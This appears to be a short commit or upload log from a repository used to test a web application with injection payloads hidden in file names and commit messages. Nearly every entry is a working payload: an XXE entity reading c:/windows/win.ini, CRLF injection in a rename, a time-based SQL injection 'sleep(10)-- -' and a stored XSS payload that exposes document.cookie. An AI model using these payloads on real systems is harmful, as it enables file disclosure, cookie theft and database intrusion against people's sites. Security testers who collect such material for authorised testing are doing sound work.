-
<!DOCTYPE foo [<!ENTITY xxe85d25 SYSTEM "file:///c:/windows/win.ini"> ]>Upload SVGBUTTON.svg&xxe85d25;
-
Upload SVGBUTTON.svg
-
Upload landing.svg (#3)
fingerprinted +1: attacker-exploiting-everyone
-
Upload 1.pdf
fds
-
Rename domain.svg to %0d%0a%0d%0adomain.svg
fds
-
Upload domain.svg
fds
-
Delete sleep(10)-- -.jpg
fds
-
Upload sleep(10)-- -.jpg
fds
-
Upload ___%0d%0a<img src=x onerror=alert(document.cookie)>%0d%0a_.jpg
fds
-
initial commit
fds
